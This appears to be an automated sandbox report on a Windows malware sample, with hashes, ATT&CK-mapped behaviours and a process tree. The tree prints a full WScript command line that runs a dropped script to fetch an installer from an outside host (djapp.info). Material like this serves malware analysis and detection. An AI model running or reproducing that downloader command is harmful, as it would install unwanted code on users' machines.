dd4e3bc8147610f567ceb59f096e85ea29c6a374434e6593cdd10e66e9cb630c

General

Target
27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe
Size 184KB
Sample241009-a2yrysyflc
SHA256 dd4e3bc8147610f567ceb59f096e85ea29c6a374434e6593cdd10e66e9cb630c
MD5 27e849f40813c0a2177fd879045cee0b
SHA1 f476e6e9e7ac8c32975d3c8cfb7b551cbf42131d
SHA512 8ef9e7a61d4a943bf5ee4c1997477ae1f16e36637b122c174e721ada8e328ab799305d1117cdf3411bf26395ab6ec2496acba46d98c06e1e2ddc728a4d4da2bb
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO36:/7BSH8zUB+nGESaaRvoB7FJNndnb
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
15	3696	WScript.exe
25	3000	WScript.exe
28	3484	WScript.exe
43	908	WScript.exe
46	1892	WScript.exe
47	1892	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2768	4932	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 3696	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	85
PID 4932 wrote to memory of 3696	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	85
PID 4932 wrote to memory of 3696	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	85
PID 4932 wrote to memory of 3000	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	90
PID 4932 wrote to memory of 3000	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	90
PID 4932 wrote to memory of 3000	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	90
PID 4932 wrote to memory of 3484	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	94
PID 4932 wrote to memory of 3484	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	94
PID 4932 wrote to memory of 3484	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	94
PID 4932 wrote to memory of 908	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	100
PID 4932 wrote to memory of 908	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	100
PID 4932 wrote to memory of 908	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	100
PID 4932 wrote to memory of 1892	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	103
PID 4932 wrote to memory of 1892	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	103
PID 4932 wrote to memory of 1892	4932	27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\27e849f40813c0a2177fd879045cee0b_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf99A0.js" http://www.djapp.info/?domain=MKLLRJlKrr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf99A0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf99A0.js" http://www.djapp.info/?domain=MKLLRJlKrr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf99A0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3000
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf99A0.js" http://www.djapp.info/?domain=MKLLRJlKrr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf99A0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3484
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf99A0.js" http://www.djapp.info/?domain=MKLLRJlKrr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf99A0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:908
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf99A0.js" http://www.djapp.info/?domain=MKLLRJlKrr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf99A0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1892
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 1456
  2⤵
  - Program crash
  PID:2768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4932 -ip 4932
1⤵
PID:1160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fuf99A0.js

Path C:\Users\Admin\AppData\Local\Temp\fuf99A0.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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